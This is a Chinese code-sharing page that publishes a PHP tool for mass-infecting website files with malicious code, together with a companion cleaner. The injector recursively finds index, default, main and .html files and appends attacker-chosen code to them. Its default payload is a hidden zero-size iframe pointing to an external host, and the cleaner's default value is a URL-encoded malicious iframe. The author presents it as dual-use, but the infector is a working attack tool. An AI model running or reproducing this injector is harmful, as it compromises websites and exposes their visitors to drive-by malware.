php下批量掛馬和批量清馬代碼
更新時(shí)間:2011年02月27日 01:49:24 作者:
批量掛馬和批量清馬程序PHP版,所以黑客工具的對(duì)立性,在黑客手里是破壞工具,在維護(hù)的站長(zhǎng)來(lái)說(shuō)是修正工具。
復(fù)制代碼 代碼如下:
<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已掛馬文件:$file\n<br>”;
}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清馬文件:$file\n<br>”;
}
}
}
$d->close();
echo ” “;
}
if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量掛馬(清馬)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>網(wǎng)站批量掛馬程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路徑:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對(duì)路徑)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>掛馬關(guān)鍵字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正則表達(dá)式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想寫(xiě)入的掛馬代碼:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清馬工具php版
BY 隨風(fēng)而去(LST)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路徑:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對(duì)路徑)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>清馬關(guān)鍵字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正則表達(dá)式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想清除的掛馬代碼:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
您可能感興趣的文章:
- 網(wǎng)頁(yè)掛馬方式整理及詳細(xì)介紹
- js cookies 常見(jiàn)網(wǎng)頁(yè)木馬掛馬代碼 24小時(shí)只加載一次
- 阻止網(wǎng)頁(yè)掛馬的若干工具小集合
- 掛馬代碼 網(wǎng)頁(yè)掛馬分析
- dos之for命令實(shí)現(xiàn)掃描網(wǎng)段的端口,用于輔助解決ARP掛馬
- Asp常見(jiàn)掛馬方式大總結(jié)
- 最新的無(wú)權(quán)限掛馬方式
- 利用css實(shí)現(xiàn)掛馬的代碼
- 數(shù)據(jù)庫(kù)中的內(nèi)容字段被掛馬的替換方法 SQL注入
- 最新病毒之SXS病毒專(zhuān)殺方式,最近掛馬嚴(yán)重
- 預(yù)防網(wǎng)頁(yè)掛馬的方法總結(jié)
相關(guān)文章
PHP 雜談《重構(gòu)-改善既有代碼的設(shè)計(jì)》之三 重新組織數(shù)據(jù)
承接上文的PHP 雜談《重構(gòu)-改善既有代碼的設(shè)計(jì)》之 重新組織你的函數(shù)繼續(xù)重構(gòu)方面的內(nèi)容2012-04-04php7連接MySQL實(shí)現(xiàn)簡(jiǎn)易查詢程序的方法
這篇文章主要給大家介紹了關(guān)于php7連接MySQL實(shí)現(xiàn)簡(jiǎn)易查詢程序的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-10-10詳解PHP的Yii框架的運(yùn)行機(jī)制及其路由功能
這篇文章主要介紹了PHP的Yii框架的運(yùn)行機(jī)制及其路由功能,Yii是一個(gè)基于組件的重量級(jí)的PHP框架,適合用來(lái)開(kāi)發(fā)大型網(wǎng)站,需要的朋友可以參考下2016-03-03